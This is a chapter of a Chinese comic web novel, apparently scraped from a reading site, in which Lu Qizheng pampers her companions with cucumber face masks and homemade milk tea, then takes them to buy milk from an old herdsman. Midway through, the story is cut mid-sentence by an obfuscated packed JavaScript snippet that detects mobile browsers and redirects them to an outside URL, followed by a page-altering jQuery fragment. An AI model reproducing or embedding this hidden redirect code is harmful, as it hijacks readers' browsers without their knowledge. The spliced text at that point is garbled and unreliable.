13.第13章 陆家老宅(一)
作品:《背靠灭门案的我只想咸鱼》 院子里一字排开四张躺椅,平平整整的躺着三个人,左边是阿渺,右边戚豆。
陆其筝坐在中间开始切黄瓜片,戚豆凑过来想拿一片放在嘴里,陆其筝拍掉了他的手。
“这不是用来吃的”。
戚豆挠挠头,“那拿来干嘛”?
“你躺下,闭上眼睛”。
于是戚豆老老实实的躺下,陆其筝将黄瓜片敷在了戚豆的脸上。
戚豆的脸上一阵冰冰凉凉的触感传来,同时还传来一丝丝疼痛的感觉。
“有点疼”。
“你脸太干了,补下水”。
“来,阿渺,闭上眼睛”。陆其筝凑到阿渺身前。
阿渺乖乖的闭上了眼睛。
“冰冰凉凉的,好舒服”。阿渺说道。
沈寒期从门外进来时就看到陆其筝顶着一脸的黄瓜片朝他招手。
“来,沈寒期,来”。
沈寒期不明所以的走过去,陆其筝拍了拍她旁边空着的躺椅,“来,躺着”。
沈寒期歪了歪头,一脸抗拒的表情。
“躺着吧”!陆其筝把他拉了过来,按在了躺椅上。然后朝他脸上敷上了黄瓜片。
陆其筝凑得很近,一边贴一边问道,“你皮肤怎么那么白”?
沈寒期本想挣扎一番,但还是在陆其筝的强硬作风下败下阵来。
终于把盘子里切掉的黄瓜片处理完之后,陆其筝才安心的躺下,心想,还好没浪费!
只是从戚豆的方向总能听到“咔擦”“咔擦”老鼠进食的声音,陆其筝转过头去就看到戚豆脸上的黄瓜片已经被他吃去了大半。
她又转过头来,不言不语,懒懒的享受秋日暖阳。
从陈年庄回来三日,陆其筝就大睡了三日。每日被阿渺浑浑噩噩的从床上抓起来,喂下午膳和晚膳之后,她又钻回了自己的被窝。本来阿渺在天还没亮时还企图给她喂早膳的,被她严词拒绝。
陆其筝想大家一番折腾已然累了,就应该结结实实的休息几日,但没想到累趴下的人只有她一个。
她告诉大家,最近最近没什么事就好好休息就行了。
但阿渺还是每时鸡鸣时分起床,起来打扫打扫院子,浇浇花,即使家里有打扫的丫头。戚豆也每日准时在辰时起床在厨房忙得热火朝天。沈寒期更不必说,听说后院立的桩子都快被他每日晨起练剑弄塌了。
大家就像上了发条似的永不停歇。于是陆其筝喊上戚豆一起搬了四张躺椅放院子中。
戚豆放好刚想走,陆其筝就拉住了他并让他把阿渺和沈寒期也喊过来,说有事要做。
沈寒期整天神不见尾,阿渺倒是一喊就来。
戚豆和阿渺站在一堆只听陆其筝发号施令,结果陆其筝只是让他们躺下。
“躺着做什么”?戚豆问道。
“什么也不做”。
说归说二人还是乖乖躺下了,等沈寒期也敷上黄瓜躺下的时候,陆其筝给像变戏法似的在几人的桌前放上了自制奶茶。牛乳是找前村养牛的老伯买的,挤出来的时候还冒着热气。她偷偷跑到厨房,炒透红茶之后,将牛乳倒了进去,然后加入了少许白糖,晾凉了她一试,嘿,味道实在纯正。
为了有氛围感,陆其筝昨天让戚豆从后院锯了一颗竹子,把竹子锯成了一节一节的,装上奶茶就像景区限定,陆其筝还贴心的在上面贴上了“邺方城”三个字。陆其筝心满意足的看着自己的作品。至此,已成艺术!
“这是什么东西!好好喝!”戚豆一口下去,似乎整个身体都通泰了,轻飘飘的像踩在云里,他不可置信的又喝了一口,“仙品,有如仙品”。
沈寒期睁开眼看着眼前的竹杯,正面贴了“邺方城”三个大字,上面插了一个小旗子写着“我在邺方城很想你”。
“怎么样,快尝尝”?此时陆其筝已将自制奶茶成功安利给了阿渺和戚豆,她一脸期待地看着沈寒期。
沈寒期喝了一口,红茶的香味和牛乳香味很好的融合在了一起,口感绵密,他走南闯北多年从未喝过这种口味的东西。
“甚好”。沈寒期认可的点点头。
“这可是我亲手做的”。陆其筝心满意足的躺了下去。
戚豆又凑了过来,脸上还挂着三片黄瓜,他拿着手上的空空如也的竹筒,一脸渴望的看着陆其筝,“陆姐姐,我还想喝”。阿渺听着也窜了起来,顶着亮晶晶的眼睛满脸渴望的看着陆其筝。
“没啦”。陆其筝摆摆手,“还想喝只能下午咱们去前村的老伯买点牛乳”。
“这是牛乳做的?这是我第一次喝牛乳”。戚豆砸吧砸吧嘴似意犹未竟般又舔了舔嘴角。
过后的几日,每当陆其筝的眼神和戚豆有交汇,就能看到一张欲语还羞的脸,满脸都写着两个字,奶茶。在这样火热的眼神中,陆其筝终于决定和大家一起去前村找放牛的老伯。
四人走在田埂间,此时田间的麦子已经熟透,风吹麦浪,一大片一大片的金黄色在翻滚着。
沈寒期配着剑走在前方,陆其筝和阿渺走在中间,戚豆走在后面,边走边踢石头。
由于每天都能睡到自然醒,吃喜欢的食物,还能时不时的晒晒太阳,没有讨厌的领导,永远写不完的材料,陆其筝觉得自己的身心从未如此健康过,健康得看谁都觉得异常的顺眼。于是众人就看到,陆其筝不知为何一路上一脸春风得意的对着路边的狗打招呼。
“到了”。四人走到了一处田埂上,旁边的老伯靠在树边正在晒太阳,远处的草地上有几头牛正在悠闲的吃着草。
“老伯”。
老伯扶了扶草帽,看到了眼前的少女。
“我来买点牛乳”。陆其筝从包里拿三十文铜钱递给了他。
“老规矩,一罐二十文”。
“不是二十文吗?”戚豆拉住陆其筝的手。
“挤还需要十文”。老伯摸了摸自己的胡须。
“费那钱”。戚豆从陆其筝手里拿出二十文交给了放牛老伯,然后撸起袖子走向了牛群。
陆其筝从阿渺手上的篮子里拿出一块布摊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933533|192320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在了草地上,又从篮子里拿出了切好的水果,把戚豆做的卤菜摆好。
她自顾自的坐了下去,见沈寒期和阿渺好像两个桩子似的立着,又爬起来把两人拉了下来。
三个人坐在一起看戚豆像牛群走去,他鬼鬼祟祟从后蹲到了牛的身下,捣鼓一阵,发现什么也没挤出来。
戚豆不信邪,又一阵鼓捣,牛感觉不适,牛蹄子往后一踹,踹到了身体的手臂上。
戚豆举着手,哭丧着脸,“挤不出来”。
“小子,你挤的是公牛”!老伯在树下慢慢悠悠的说道。
陆其筝和阿渺一听哈哈大笑起来,就连沈寒期也不禁轻笑出声。
“那你不给我说”!戚豆气呼呼拿着盆又走了过去。
“豆儿,回来吧”,陆其筝冲他招招手,“来吃卤鸡爪”。
“等会儿再吃”。
老伯上前给他指了指哪个是母牛,他朝陆其筝他们的方向郑重的点点头,一脸似死如归的走了过去。
走到母牛身边蹲下,他挤了挤,牛乳喷涌而出,洒了他满脸,他激动地站起来。
“成了!成了”!
“好样的”!陆其筝站起来给他鼓掌。
戚豆正沉浸在自己的喜悦中,浑然不觉后面有头牛正发了狂的朝他冲了过来。等他反应过来的时候,牛已经顶到了他的屁股。他惨叫一声,然后朝前跑去。
“沈大哥,沈大哥,救救我”!!!
戚豆跑得七荤八素,突然脖子被人拎了起来,他转过头一看,是沈寒期,于是他紧紧抱住了沈寒期的腰。
陆其筝和阿渺此时坐在一旁,眼泪都要笑出来了。戚豆耷拉着眉眼回来。
“好了好了,吃点东西,别怕了”。陆其筝把桌上的东西往他那一推,戚豆本来觉得很委屈,但是眼前的卤鸡爪实在太香了,还没来得及伤心就被馋虫勾走了。
三人围在在草地上,一边吃水果一边晒太阳。
陆其筝却见沈寒期迟迟没回来,转过头一看,沈寒期竟然蹲在牛下正在挤牛乳。
不知道是不是因为他长得太好看的原因,连牛竟然也偏心他。
牛就在前面不紧不慢的吃着草,牛尾巴一甩一甩的,好不惬意的样子,丝毫没有刚刚的暴动。
陆其筝看着不知怎的,脑子还没思考,人就走了过去。
她走到他的面前,在沈寒期面前撒下一片阴影。沈寒期似乎知道来人是谁,没有抬头,还是专心的干着手上的事。
陆其筝看着他的手,骨节分明,白得青筋暴露。鬼使神差的想去摸一摸,手刚刚伸出去,脑子里自己先吓了一大跳,于是暗骂自己有病。
恰巧沈寒期此时抬起来头来,她的手还悬在空中,为了遮掩自己的龌龊心思,她咳嗽了一声,“我来帮你”。
于是陆其筝蹲在沈寒期的旁边,手刚刚伸过去不小心就擦到了沈寒期的手,温热的触感从手上传来。
沈寒期不明所以的看到陆其筝像炸了毛的猫一样跳了起来,急急忙忙的又跑开了。

